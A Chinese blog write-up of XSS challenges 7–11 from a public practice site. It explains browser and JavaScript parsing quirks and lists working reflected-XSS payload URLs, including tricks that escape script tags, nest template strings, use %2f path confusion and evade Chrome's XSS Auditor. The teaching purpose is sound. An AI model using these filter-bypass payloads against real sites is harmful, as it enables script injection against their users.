十二个XSS案例重新认识XSS-下

首发于https://mp.weixin.qq.com/s/VHvWuLhTCgbsPcfdzrP67A

前言

前段时间看到了px1624的10题XSS案例,一直留着留着,终于拿出来看看了。还好网站没关。(然后突然增加了2题变成了12题了)

觉得是一个JS基础不是很好的菜鸡补充了解一些JS基础和奇怪姿势的很好的案例,此文包含7-12题(共9k3字),知识点大概包括:

  • 当在字符串过滤中使用\的绕过方式
  • <!-- <script>可以突破</script>标签的限制
  • 浏览器对于<script/>不解析为标签,但是<script />一类的可以正常解析
  • 浏览器对于JS无分号换行的处理方式
  • <!-- <script>可以多次突破</script>标签的限制
  • <script>标签之间互相不管死活
  • 模板字符串的嵌套
  • 闭合大括号的方式:对象等
  • 使用%2f让浏览器不会吞掉多余路径
  • JS语言声明变量时变量提升的特性
  • var的另一种赋值方式:解构赋值

对于以上列出知识点如果只有个别不清楚的,可以直接在各题知识点中找到它,然后看那一题就行了。

后6题跟前6题有点不一样,前六题可能是你看了知识点,就会恍然大悟:“原来是这样!我会了!”,但是后六题可能就是看了知识点:“原来是这样!”,但是还是做不来。

此外还提出了第十题比已有解法更短的payload,以及官方WP暂未发布的第十一题、第十二题的WP。

px1624的官方WP,写的很好。但是以菜鸡的角度去看题目总会讲述到一些默认被跳过的但是又有点东西的细节。写文章一向往细了写,结合了看可能也会有所帮助吧?

有错误喷就完事了。

感谢px1624老哥的案例分享,十一题十二题原作者renwax23的案例分享

以及huuu老哥的十二题最短解

第七题

题目:http://px1624.sinaapp.com/test/xsstest7/?px=123

1
2
3
4
5
6
7
8
9
<script>
var px='123';
</script>
give me xss by pass~7
<div style="display:none">123</div>
<!--px-->
<script>
'px'
</script>

知识点

  • 当在字符串过滤中使用\的绕过方式
  • <!-- <script>可以突破</script>标签的限制
  • script标签中的任意</script>字符,都会闭合<script>前标签
  • 浏览器对于<script/>不解析为标签,但是<script />一类的可以正常解析
  • 浏览器对于JS无分号换行的处理方式

题目的尿性,提示px,肯定是输入px参数,也就直接加上啦,就会发现有两个回显点:script标签中一个,div标签中一个。

老样子使用一个字符集去看看两个地方是怎么处理的:123"'/\<>()'%3b+%2b-*/%26|~^%25!%3f%3d%60%3b

1
2
3
4
5
6
7
8
9
<script>
var px='123px_xss\'\/\\<\>()\'\; -*\/&|~^%!?=`\;';
</script>
give me xss by pass~7
<div style="display:none">123&quot;'/\&lt;&gt;()'; +-*/&amp;|~^%!?=`;</div>
<!--px-->
<script>
'px'
</script>
  • 第一处插入点,在script标签中:对于' / < > ;做了\转义,使用转义可以防止'作为符号解析闭合字符串
  • 第二处插入点,在div标签中:对于' < > &做了html转义,防止插入标签。

看似挺好的防护,第二处< >被转义插入不了标签是完全没有机会的,直接掠过,看第一处插入点

字符串中的\转义绕过

如果我们简单的插入一个单引号确实是会被转义从而闭合无效:var px='123\''

但是我们知道字符串中的\一个使用的使用是对后面的字符做转义处理,即作为字符串的一部分解析,同样我们想要在字符串中使用\符号的时候需要\\这样书写即为一个\

回顾转义列表,并没有对我们输入的\进行转义,于是我们就可以输入一个\来反过来转义掉服务端添加的用于转义'\

1
2
3
4
//http://px1624.sinaapp.com/test/xsstest7/?px=123\'
//第一个\用于转义服务端添加的\
//'作为结构进行闭合
var px='123\\''

于是完成闭合,接下来可以尝试拼接js,引入可以执行的js代码。

5种方法尝试闭合

根据已有知识,给出后面单引号的五条闭合思路:

  1. 正儿八经闭合,构造正确的JS语法,可以尝试
  2. //:JS单行注释,注释掉后面需要闭合的东西,可以尝试
  3. /* */:JS跨行注释,在当前环境上不能使用。突破不了script标签,只能在script标签内部进行多行注释
  4. <!--:HTML跨行注释,机制上不能使用。HTML跨行注释,在script标签中,起不到注释作用
  5. 模板字符串注释—反引号:跨行注释,没试过,可以尝试

再结合给出两条payload插入思路进行判断:

  1. JS中;闭合前面的语句然后写入新的JS语句
  2. 使用运算符拼接字符串的形式,即使用-in之类的符号

第一个payload插入思路使用;明显不行因为;被/转义了形成/;会语法报错;只能使用第二个思路使用运算符。

  • 尝试第一个闭合思路正儿八经闭合,后面是';
1
2
3
4
// http://px1624.sinaapp.com/test/xsstest7/?px=123\'-alert(1)-'
<script>
var px='123\\'-alert(1)-\'';
</script>

后面单引号因为引入了一个\,这样的语法会报错,GG。

  • 尝试第二个思路//JS单行注释:
1
2
3
4
// http://px1624.sinaapp.com/test/xsstest7/?px=123\'-alert(1)//
<script>
var px='123\\'-alert(1)\/\/';
</script>

同样因为/会被\转义导致无法引入单行注释符号,GG

  • 证明第三个思路不可用:/* */:JS跨行注释

建立该测试页面,访问

1
2
3
4
5
<script>
var px='123';/*
</script>
give me xss by pass~7
*/

7-3-false.png

文字不会被注释,代表/* */JS跨行注释无法突破script标签进行跨行注释。

  • 证明第四个思路不可用:<!--:HTML跨行注释

建立测试页面,访问

1
2
3
4
5
6
<script>
<!--
var px='123';
</script>
give me xss by pass~7
-->

文字不会被注释,代表<!-- -->HTML跨行注释无法突破script标签进行跨行注释。

7-4-false.png

  • 尝试第五个思路模板字符串进行跨行注释
1
2
3
4
5
6
7
8
9
10
11
// http://px1624.sinaapp.com/test/xsstest7/?px=\'-alert(1)-`;//

<script>
var px='\\'-alert(1)-`\;\/\/';
</script>
give me xss by pass~7
<div style="display:none">\'-alert(1)-`;//</div>
<!--px-->
<script>
'px'
</script>

看vscode中的高亮应该清楚点,这里显示是可以成功跨script标签进行注释的。

7-vscode高亮.png

尝试在命令行中执行这段JS,逻辑是没有问题的:

7-弹框.png

但是直接访问,让谷歌浏览器解析,仍然无法跨越script标签,同时其他浏览器也不行。

7-5-谷歌解析.png

看来模板字符串也被封死了,关键是无法突破</script>标签,陷入僵局。

<!– 标签突破script标签

参考此篇文章得知<!--标签会改变script标签配对规则,即:在<!--之后的<script>会优先匹配一个</script>

我们可以引入一个script去闭合掉原生的</script>,这样就可以突破script把后面也作为JS解析。

但是这个特性在测试中,并不是那么万能,具有局限性。

按照字面解释的预期,这样的页面是可以正常执行JS的

1
2
3
4
5
6
7
<script>  
alert(1);
<!--
<script>
</script>
-->
</script>

但是实际并不可以,会报错。

我们先通过以下例子来证明在<!--之后的<script>的确会抢先匹配,影响标签解析:

1
2
3
4
5
6
7
8
<script>  
alert(1);
<!-- <script> //删这行
if(1</script>/){
alert(1)
}
-->
</script>

单行的<!--在JS中具有单行注释的作用,所以按照正常的理解,理论上第三行加了和没加应该是一样的,但是实际结果却不是

  • 不删第三行:会弹框1(说明JS正常执行)
  • 删第三行:之后的alert(1)会被当作html解析,即script标签结束了(说明script标签被1</script>/这边的</script>标签提前闭合了)

情况出现了变化,证明我们的<!-- <script>虽然是注释了,但是却改变了执行情况,即优先闭合下一个script后标签。说明我们注释的<script>1</script>/这边的标签给闭合了从而完成了外部标签的正常闭合。

JS中的</script>

此处可以发现在JS中并不是想要作为script后标签的但是字符串长的一样的</script>/被JS作为后标签解析。

这说明JS在解析式只要遇到</script>就会作为后标签解析。这个特性咋一看没啥用,很理论。但是在实战中是经常用到的。

我们经常会看到一个payload</script><script>alert(1)</script>,但是很少去思考他的适用范围。实际上输出点只要在<script>标签内,这个payload是通杀的。比如下面的例子

1
2
3
4
> <script>
> var lala="payload_here";//双引号被ban
> </script>
>

有时候可能觉得双引号被ban了,就没办法利用了,但是实际上利用</script>会断标签的特性

1
2
3
4
> <script>
> var lala="</script><script>alert(1)</script>";
> </script>
>

就可以完成弹框。

回过头,再看例子:

1
2
3
4
5
6
7
<script>
if(console.log("<!--var a;<script>")</script>/)
alert("script data state");
else
alert("script data state too");
-->
</script>

此处我们的<!--出现在了字符串中,执行结果是console.log打印并且弹框script data state

先得出最终使用结论,再来对上述例子进行解释:

  1. JS在引入的<!--script标签后形成的代码要满足JS语法正确。

    (在script标签对中,突然出现一个script标签,这是不符合JS语法的。这就解释了我们之前第一个预期成功然而失败的案例,是因为JS语法错误而失败)

  2. 满足JS语法后的解析,会开始跳出JS语法逻辑寻找<!--。只是单纯的字符串匹配,所以即使是字符串内的<!--或者注释的<!--都满足。

  3. 会开始寻找 script前标签,同样寻找的过程同样跟JS语法无关,会单纯的寻找标签字符

  4. 匹配script和后标签,同理匹配。

对之前的例子进行解释:

1
2
3
4
5
6
7
8
9
10
//首先上述两个成功执行的实例都JS语法正确
<!-- <script> //JS中<!-- 作为注释符 后面被注释了 JS语法正确
"<!--var a;<script>" //<!--和<script>作为字符串 JS语法正确
//关于</script>/
console.log("<!--var a;<script>")</script>/
1</script>/
//虽然出现了</script>,但是后面多了一个/
//这里其实是为了满足JS语法补充一个/
//作为JS解析的话其实是一个比较运算符 两边进行小于<比较
//右侧是一个正则表达式的//

至此我们就得出了<!–标签在JS语法正确的情况下可以引入scirpt前标签去优先闭合script后标签从而完成script标签突破,来结合题目解题。

1
2
3
4
5
6
7
8
9
10
11
// http://px1624.sinaapp.com/test/xsstest7/?px=123\%27-alert(1)//

<script>
var px='123\\'-alert(1)\/\/';
</script>
give me xss by pass~7
<div style="display:none">123\'-alert(1)//</div>
<!--px-->
<script>
'px'
</script>

参考题目环境,我们明确需要处理:

  • 加入<!--<script>去闭合第一个</script>:需要防止JS语法错误(可以加入到字符串中)
  • 突破script标签后,这部分give me xss什么的会作为JS的一部分解析,我们需要引入一个跨行字符串或注释一类的包括住他们,确保其语法正确。(可以选用模板字符串或者/* */JS多行注释(之后测试由于环境,单独使用JS多行注释无法完成))
  • 由于第一个script标签会跟最后一个script后标签闭合,</div><!--px之后都会被认为是JS语句,还需要处理这边的JS语法错误问题。

选择加入到前方字符串中,选择模板字符串,先暂时使用//注释掉明显不对劲的</div>,给出一个初步的payload:

1
http://px1624.sinaapp.com/test/xsstest7/?px=123%3C!--%3Cscript%3E\%27-alert(1)-`//

7-0-script标签绕过.png

会发现闭合失败了,</script>还是没有被我们吃掉,因为<script>被转义成<script/>(前面的\不影响)

实验,利用浏览器标签解析,空格分隔的东西会当作标签属性的原理,加个空格%20:

1
2
3
4
5
<script\>(解析失败)
<script \>(解析成功)
<script xxxx>(解析成功)
alert(1)
</script>

就比如<imgxxxx>就会认识是一个叫做imgxxxx标签,<img xxxx>就会认为是一个带有xxxx属性的img标签;这边script标签也是同理的。

前标签加个空格,也可以正常解析,成功弹框Writeup:

1
http://px1624.sinaapp.com/test/xsstest7/?px=123%3C!--%3Cscript%20%3E\%27-alert(1)-`//

7-0-成功.png

但是回想到刚才其实我们没有明确解决的后面尾巴的问题:我们只是想先简单暂时解决下</div>,但是后面的<script>'px'都没有处理为啥就可以成功了?这关乎到JS的换行逻辑

JS其实也是一个比较随便的语言,他的换行会根据当前运算环境分析是要结束当前语句或者是延续下一行拼接,看一个例子:

1
2
3
4
5
6
7
<script>
var px=1 - 0
// 4>1
<4>1
<'px'
console.log(px)
</script>
  • 如果我们不注释第三行,那么px的值为1,说明赋值语句已经结束了,之后的运算会作为一个新的运算语句解析;
  • 如果我们注释的第三行,结果就会为false,浏览器会把之后的运算认为和赋值语句是一个语句,从而进行比较运算。

我们把答案的环境简化再合成一行:

1
2
3
4
5
<script>
var px='1' - alert(2) - `3` < 4 > 'px'
//var px='1' - alert(2) - `3` < a > 'px'
console.log(px)
</script>

该例子语法正确,只是在语句执行的时候从左向右执行,发现找不到a(也就是script)这个变量时报错,但是这不是JS语法错误而是运行的时候报错,所以会正常执行前面的弹框语句。

再给出其他人的一些payload:

1
2
3
4
5
6
7
8
//px1624
http://px1624.sinaapp.com/test/xsstest7/?px=111\%27-alert(1)-`//%3C!--%3Cscript%20
//Huuuuu
http://px1624.sinaapp.com/test/xsstest7/?px=`//*%3C!--%3Cscript%20%3E\%27-alert(1)-`
//香草
http://px1624.sinaapp.com/test/xsstest7/?px=\%27-`-eval(location.hash.slice(1))//%3C!--%20%3Cscript%20%3E`-`#alert(1)
//zeddy
http://px1624.sinaapp.com/test/xsstest7/?px=%3C!--%3Cscript%20`/*\%27-alert(1)-`*///

第八题

题目:http://px1624.sinaapp.com/test/xsstest8/?px=123

1
2
3
4
5
6
7
8
9
// http://px1624.sinaapp.com/test/xsstest8/?px=123<>%2b-*/%26|~^%25!%3f%3d`'"

<script>
var px='123\<\> -*\/&|~^%!?=`\'px_xss';
var px1624='123\<\> -*\/&|~^%!?=`\'px_xss';
</script>
give me xss by pass~8
<div style="display:none">123\&lt;\&gt; -</div>
<input type="hidden" value="123<>+-*/&|~^%!?=`'px_xss">

知识点:

  • 延续之前知识点
  • <!-- <script>可以多次突破</script>标签的限制
  • <script>标签之间互相不管死活

基础检测payload一丢,四处输出点,确认可以构造payload的输出点:

  • 第四处对双引号做了黑名单,没戏
  • 第三处对长度做了限制,同时对<>做了转义,没戏
  • 同时注意这几处输出的输出处理规则都不太一样

还是看第一处第二处,突破单引号:

1
2
3
4
5
6
7
8
// http://px1624.sinaapp.com/test/xsstest8/?px=123\%27
<script>
var px='123\\'';
var px1624='123\\'';
</script>
give me xss by pass~8
<div style="display:none">123\\'</div>
<input type="hidden" value="123\'">

老样子可以出来,第一个想法是老规矩在第一个script标签内部尝试构造一个JS语法正确的语句,但是我们会发现,我们永远没法处理最后面的';,比如:

1
http://px1624.sinaapp.com/test/xsstest8/?px=123\'-alert(1)-`

8-1.png

  1. 尝试注释符处理后面的尾巴:
    • <!--:过滤器变为\<!--,多了一个\无法处理
    • //:过滤器变为\/\/,失去注释作用
    • /*:过滤器变为\/*,多了一个\无法处理,同时即使没有\,单单/*的语法也不行
  2. 尝试单引号闭合:
    • ':过滤器变为/'。多了一个\无法处理

已有知识无解,换条路,尝试用<!--<script>突破script后标签把下面两个输入点也拉入战局,寻求机会。

思来想去,怼到极致还是死在/上,同时满足不了语法。

1
http://px1624.sinaapp.com/test/xsstest8/?px=123\%27-alert(1)-`*/*%3C!--%3Cscript%20%3E

8-2.png

放弃。(实际这个思路是有解的,但是不是上述思路)

多次突破script标签

换个思路,我们既然可以逃出一个script标签,那是不是可以把标签全部逃光,然后自己写标签?

  • 那要求我们最后一个输出点不过滤,即:可以自己构造一个被解析的script标签,但是这里最后一个输出点就恰好只过滤双引号不过滤其他的。

Writeup:

1
2
3
4
http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3Cscript%20%3E%3C/script%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E

payload:
<!--<script ></script></script><script>alert(1)</script>

这里可以看到实际上我们只考虑了标签闭合引入了两个script后标签,其他啥都没考虑,原来script标签内的语法一团糟,疯狂报错,但是因为script标签之间互不影响,这不影响我们写入的script的标签正常解析!

8-3.png

但实际上可以调换位置,把<script >直接作为外面的script标签解析,可以短一点:

1
2
3
4
http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3Ealert(1)%3C/script%3E

p1g3、zeddy payload:
<!--</script><script >alert(1)</script>

绕过谷歌XSS过滤器-XSSAuditor

这一步骤在该题其实并非必须步骤,按照出题者的原话说,上述的payload在谷歌浏览器的旧版本是不可以使用的,新版本xssAuditor被关闭了,所以可以直接弹框。这里简单看看如何绕过xssAuditor吧。首先了解下谷歌浏览器的xssAuditor,大致过滤逻辑如下:

  1. GET或POST请求中的参数内容原样出现在输出的页面中
  2. 内容包括一些敏感的危险标签和属性就会执行过滤,拒绝执行。

那么绕过思路也对应着在使输出内容跟输入内容不一致绕过黑名单的检测,历史上也有很多针对谷歌浏览器的绕过方式

回到这题本身,除了用一些通用的绕过方式,还可以根据当前过滤环境给出如下香草的payload:

1
2
3
4
// http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3E%22=alert(1)%3C/script%3E

payload:
<!--</script><script >"=alert(1)</script>

可以关注到,只是加了一个"=,结合上过滤规则是会替换"px_xss,这样完成了参数中的数据跟输出的结果不一致了。

8-4-绕过XSS.png

使用模板字符串的思路

请做完第九题,第十题再回来这边

做完第十题,再回过头会发现这题跟第十题的情况是相似的,都是第三个输出点存在截断。

那么这题应该也是可以使用模板字符串的思路,直接使用第十题的payload看看:

1
http://px1624.sinaapp.com/test/xsstest8/?px=`}\%27-{a:`}-alert(1)//${`${`<!--<script%20>

8-2-1.png

大失败。但是从页面来看又完全没有问题,同时把这段JS放到命令栏中是可以弹框的?

8-2-2.png

那么问题肯定是出在其他地方,对比下和第10题的返回页面,就会发现区别在于缺少</script>

8-2-3.png

在不修改结构的情况下,想办法引入一个即可。

1
http://px1624.sinaapp.com/test/xsstest8/?px=`}\%27-{a:`}-alert(1)//</script>${`${`<!--<script%20>

8-2-4.png

完美。

其他老哥的payload:

1
2
3
4
5
6
7
8
出题人WP:
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E`}-{a:`${`%3C!--%3Cscript%20%3E
gainover:
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E%3C!--%3Cscript%20%3E`}-{c:`${`
香草:
http://px1624.sinaapp.com/test/xsstest8/?px=`}-alert(1)//%3C/script%3E`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E
huuu:
http://px1624.sinaapp.com/test/xsstest8/?px=`}//%3C/script%3E1111111`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E

第九题

题目:http://px1624.sinaapp.com/test/xsstest9/?px=123

1
2
3
4
5
6
7
8
9
10
11
// http://px1624.sinaapp.com/test/xsstest9/?px=<>+-*/%26|~^%25!%3f%3d`'"1234

<script>
var px='\<\> -*\/&|~^%!?=`\'\"1234';
var px1624='\<\> -*\/&|~^%!?=`\'\"1234';
</script>
give me xss by pass~9
<div style="display:none">&lt;&gt; -*/&amp;|~^%!?=`'&quot;123</div>//这里4被吃了,说明长度限制
<div style="display:none">&lt;&gt; -*/&amp;|~^%!?=`'&quot;123</div>//这里4被吃了,说明长度限制
<!--px-->
<script>'px'</script>

知识点:

  • 延续之前知识点

  • 模板字符串的嵌套:

    1
    2
    `abc${`def`}`
    //abcdef
  • 闭合大括号的方式:对象等

基础payload一样一砸,会发现这题跟第八题输出点、过滤规则大致都一致。回顾第八题我们思考了两种思路去解决:

  1. 突破第一个</script>标签,把所有输入点拉入战局,尝试在JS中构造一个合法的语句。但是无法因为总是多出\无法解决

  2. 突破全部</script>标签,自己重新起一个script标签,然后写入语句,成功

再看这里的输出点过滤,对于之前利用处的第四处输出同样进行了html编码,这样我们就无法引入一个<script>标签,进行弹框。

同时还在第三处第四处进行了长度限制,只允许20个字符显示,那就要硬怼我们刚才对不过去的第一条路。

回顾我们之所以做不过去的原因:我们所有列出的注释符号都会引入\进行注释;我们尝试闭合也会因为\。那么有没有不被注释的可以利用的多行注释呢,其实是有的:模板字符串

但是我们在利用的时候会发现有问题,先梳理payload需要满足的基本格式:

  • 必须拥有闭合单引号的\'
  • 用于多行注释的反引号
  • 必须拥有的突破script标签的:<!--<script >:可以放在后面反引号中,也可以放前面单引号的闭合里面。
  • 同时需要提前注意在第三行第四行存在长度限制,我们是可以利用长度限制,去吃掉我们payload后面不想要的字符的。

接下来来根据当前环境确定payload中需要拥有的反引号数量,这很关键,其实我们可以直接从闭合角度去确认数量,而不是无脑尝试,根据第一个跟第二个闭合,第三个跟第四个闭合的语法,可以分成两种情况:

  1. payload中引入偶数个反引号:这明显不可能,因为偶数个的话在输出点就会行程,本行跟本行的闭合跟我们设想的跨行闭合背道而驰,直接PASS
  2. payload中引入奇数个反引号:1,3,5,奇数个反引号会现在内部闭合,留下一个单引号到下一行闭合,这样就形成了跨行。但是我们会发现奇+奇=偶,这样前两行就会完成全部的闭合,第二行到第三行中间乱七八糟的字符就只能暴露出来,形成报错。相当于能跨行,但是幅度还是不够。
1
2
3
http://px1624.sinaapp.com/test/xsstest9/?px=\'-`<!--<script%20>

payload:\'-`<!--<script >

9-0.png

模板字符串的嵌套

跨行幅度不够,跨行幅度不够,其实我们就是烦恼模板字符串的匹配跟()、{}这类的不一样,结束太早了。

其实可以使用:模板字符串的嵌套

1
2
`abc${`def`}`
//abcdef

发现所需要用到的反引号${}恰好均不会被注释,很棒,进行尝试,老样子先定闭合,我们有4行输出,想到两种闭合形式:

  • 递归闭合,即第一行的第一个前反引号,到最后一行的最后一个后引号才完成闭合,整个行程一个整体
  • 前后行闭合,即这行的前反引号,在后一行的开头即闭合,上下行行程闭环。

我们先看一下递归分析:

1
2
3
4
`abc${ `d${ `e${ `f` }` }` }`
//abcdef
//左反引号4个,右反引号4个
//左开口3个,右闭口3个

根据各行的特性,大致拟定下左侧开口和闭合数量,

1
2
3
4
5
闭合  开口
0 3 //利用单引号作为字符串解析吃掉闭合
2 3
2 0 //利用长度截断吃掉开口
2 0 //利用长度截断吃掉开口

尝试测试:

1
2
3
http://px1624.sinaapp.com/test/xsstest9/?px=`}`}\'-`<!--<script%20>${`${`${`

payload:`}`}\'-`<!--<script >${`${`${`

9-1.png

问题在第二行直接暴露,我们只考虑左右闭合的话,中间的语法问题根本没法解决

同时也可以知道因为反引号数量是比开头闭口数量要多的,上一行的开头左反引号进入到下一行会打乱布局。

我们换前后行闭合的思路尝试解决这个问题:

前后行闭合:

1
2
3
4
`abc${`
`}`-`abc${`
`}`-`abc${`
`}`-`abc${` //最后一行好像有问题到时候再说

测试到头也只能如下:

1
http://px1624.sinaapp.com/test/xsstest9/?px=\'-`}`-`${`<!--<script%20>

9-2.png

出现了最后一行的问题最后的语法没法闭合,尝试用长度去截断:

1
http://px1624.sinaapp.com/test/xsstest9/?px=\'-`}111111111111111`-`${`<!--<script%20>

9-4.png

这里会发现闭合关系结合了我们之前的递归闭合上下行闭合

闭合了,但是出现了我们没法在大括号这里写入语句,简而言之就是多出了一个大括号

其实我们在梳理闭合反引号和闭合大括号数量的时候就发现了这个数量不一致的问题,最后会导致语法错误。

所以我们必须要引入什么其他语法结构来闭合大括号。

函数、语法、对象闭合大括号

function(){}if(){}{a:123},出题者WP给出了JS语法中三种闭合大括号的方式。由于前两者会引入一些语法结构问题,而对象会比较简单,也可以作为表达式的一部分。所以选取对象结构来进行括号填补。

至此 构建payload的所有要素就齐全了,引入对象,把右边的模板字符串写成对象的形式好了:

1
http://px1624.sinaapp.com/test/xsstest9/?px=\'-`}111111111111111`-{a:`${`<!--<script%20>

9-5.png

前面没有报错!在报错的地方引入payload!

1
http://px1624.sinaapp.com/test/xsstest9/?px=\'-`}-alert(1)//1111`-{a:`${`<!--<script%20>

9-6.png

成了成了!下面这些报错不重要!!因为如同之前所说的<script>'px'标签会被解析为小于 script这个变量大于’px’,大概如下,虽然会执行报错但是解析是正确的,就可以执行成功。

1
var px=''-alert(1)<script>'px'

拉过去浏览器!失败….没弹框…..

仔细看看代码会发现存在一个闭合问题:

9-flase.png

那么在这个位置加上闭合,那么考虑第一行的语法情况,在前面也需要把大括号闭合了,再引入一个对象:

1
http://px1624.sinaapp.com/test/xsstest9/?px=\'-{a:`}-alert(1)//1111`}-{a:`${`<!--<script%20>

9-7.png

成了!!!!!!!!

9-8.png

看了下发现跟官方WP的答案如出一辙…..不亏虽然没看答案但是一路偷看思路的我….

看看其他老哥的WP:

1
2
3
4
5
Huuu:
http://px1624.sinaapp.com/test/xsstest9/?px=1111111111111111`}//`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
//这个payload有一点类似,想办法只因入了一个对象,就不存在我们之前以为闭合成功了,然后再加一个对象的那一步
香草:
http://px1624.sinaapp.com/test/xsstest9/?px=`}-alert(1)//`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E

第十题

题目:http://px1624.sinaapp.com/test/xsstest10/

1
2
3
4
5
6
7
8
9
10
11
<script>
var px='12345';
var px1624='12345';
</script>
give me xss by pass~10
<div style="display:none">12</div>
<div style="display:none">12345</div>
<!--px-->
<script>
"px"
</script>

知识点:

  • 延续之前知识点,知识构造方法不同,没有新知识点

跟之前的应该变化不大,先用之前的payload探探路:

1
http://px1624.sinaapp.com/test/xsstest10/?px=\'-{a:`}-alert(1)//1111`}-{a:`${`<!--<script%20>

10-0.png

发现有以下改变:

  • 第三处限制输出2个字符
  • 第四处不限制输出字符数

仔细观察第九题的payload输出结果,会发现当前payload输出实际上变成了同一个payload在三个地方输出,知识第三个地方的过滤规则跟之前两处不同,前面是转义,后面是html编码

这种情景就陷入了我们之前说的三行之间前后行闭合的情况:

1
2
3
''-{a:``}-{a:`${`
`}`}-{a:`${`
`}`}-{a:`${`

之前的前后行闭合还可以使用长度截断改变最后语法,从而突破。但是这里我们没法动,因为我们只要改动payload,想在第三行正常结束,那么他就会在第二行结束。因为两者输出是一样的。

也不是完全一样的,因为这两者之间过滤规则不同

那么我们是否可以找到一个payload,利用过滤规则,让JS第二行正常闭合,开启,但是在第三行完成语法修正,比如..注释符?

1
http://px1624.sinaapp.com/test/xsstest10/?px=\'-{a:`}-alert(1)//1111`}//-{a:`${`<!--<script%20>

10-1.png

怎么尝试都不可以,为了语法正确,都只能在已有对象之外加入注释符,但是这些被转移的注释符都会在前两行出错。

让截断处起到改变语法的作用

换条思路,我们的目的就是为了让第四行改变语法,想办法利用起第三行的被截取的两个字符来改变语法

比如提前闭合对象,从而释放出之后的第四行的原来被关在模板字符串里面的注释符//

那么我们的payload就要以反引号}开头,根据这个要求修改payload再把弹框和占位都去掉,看一下:

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\'-{a:`${`<!--<script%20>

10-2.png

为了第二行的语法正确,我们可以再引入一个嵌套的模板字符串,把单引号放入到模板字符串中

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\'-{a:`${`${`<!--<script%20>

10-3.png

右边加了开口,但是左边没有加闭口,在报错位置加上闭口

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\'-{a:`}-${`${`<!--<script%20>

10-4.png

第三行的闭合符号将语法提前闭合!导致后面报错,那么引入注释符!

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\'-{a:`}-//${`${`<!--<script%20>

10-5.png

最后引入弹框语句!

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//${`${`<!--<script%20>

10-6.png

舒服了——舒服了——舒服了!

看看其他师傅payload:

1
2
3
4
5
6
7
8
9
出题人WP:
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//`}-{a:`${`${`<!--<script%20>
跟我的不一样,好像好像我的比他要好一点?
香草:
http://px1624.sinaapp.com/test/xsstest8/?px=`}-alert(1)//</script>`}-{a:`${`\%27-{a:`}${`<!--<script%20>
使用的是第一行一处嵌套,第二行两处嵌套的方式,思路有点不通
Huuu:
http://px1624.sinaapp.com/test/xsstest10/?px=`}//`-alert(1)-{a:`${`\%27-`}${`<!--<script%20>
非常骚气的姿势

但是我不管我不听我不听,我的payload是最短的43个字符,假装很厉害QAQ

第十一题

十一十二题,应该参考于国外老哥的题目,payload参考原题解,最短payload参考huuu

题目:http://px1624.sinaapp.com/test/xsstest11/

1
2
3
4
5
<h3>alert(11) to win</h3>
<br>
<script>
eval(location.pathname)
</script>

知识点:

  • 使用%2f让浏览器不会吞掉多余路径

eval执行location.pathname,直接输出看下location的内容:

1
2
3
4
5
// http://px1624.sinaapp.com/test/xsstest11/
location.pathname
// /test/xsstest11/
eval("/test/xsstest11/")
// 报错Invalid regular expression flags 正则表达式语法无效

JS语法把里头的路径当作JS解析了,由于/开头,被当作正则表示式。在构造payload时,我们就需要同时考虑JS语法正确跟URL路径正确。

根据前面几题的经验,这边就可以处理成一个正则表达式的表达式运算,添加一个/,然后再路由回来:

1
2
3
// http://px1624.sinaapp.com/test//xsstest11/alert(1)/../
/test//xsstest11/alert(1)/../
一个正则表达式,除以xsstest11这个变量,除以alert方法,然后由于多了一个alert路径,添加../路由回来

但看这个思路的话会存在一个变量问题(xsstest11未赋值),然后拉去浏览器一访问,会发现另一个更严重的问题:我们写入的alert(1)/../没了。

再抓包看,会发现我们的alert(1)/../直接被浏览器吃了,压根没出现在数据包里。我们首先要解决之后的payload不会被浏览器吃的问题,不然我们根本没法往后加东西。

%2f突破浏览器作妖

根据浏览器不URL解码%2f,而NGINX服务器会把URL编码%2f解码为/的特性差来进行绕过。

只有NGINX服务器会解码URL,IIS/APACHE服务器不会解码。参考1参考2

只需要把/编码成%2f即可绕过(第一次做的时候,直接这个地方就趴下死了)

11-1.png

然后根据报错慢慢修改,这里..%2f语法报错了,注释掉,再修改payload:

1
http://px1624.sinaapp.com/test//xsstest11/alert(1)//..%2f..%2f

11-22.png

额外讨论 //和..%2f的问题:数一数url中的//..%2f

我们会发现如果把//理解为我们理想中的原目录原地跳就会发现多了一个..%2f,什么地方不对劲。

假设服务器把//理解成一个子目录,需要往上层跳,会发现也不对劲,2个//一个/alert(1)/一共是多了三个子目录,但是我们只有2个..%2f

测试:

http://px1624.sinaapp.com/test////xsstest11/alert(1)//..%2f..%2f 可以正常访问

http://px1624.sinaapp.com/test////xsstest11/alert(1)///..%2f..%2f 无法访问

  • 在明文路径(如/xsstest11/)左侧的//解释为原地跳
  • 在最后的明文路径(如/alert(1))右侧的//理解为子目录,非常的神奇

但是规律应该不是通用的。

来到了变量没定义这一关,看似死局,因为我们没法修改前面的路由

…………???????

好像完全可以修改前面的路由,然后注释后面的全部代码,利用..%2f再构造正常路由就可以了:

1
http://px1624.sinaapp.com/1/;alert(11)//test/xsstest11/..%2f..%2f..%2f..%2f..%2f/test/xsstest11/

一个理应正确的payload,但是却返回400,经过测试,发现只要我们企图../到根目录就会报错,那么只需要把test提前到前面就可以了。

1
http://px1624.sinaapp.com/test/;alert(11)//test/xsstest11/..%2f..%2f..%2f..%2f/xsstest11/

再精简下,payload:

1
http://px1624.sinaapp.com/test/;alert(11)//..%2f..%2f/xsstest11/

11-success.png

然后px1624大哥又帮我精简了一个%2f…....%2f一路复制粘贴毁一生

1
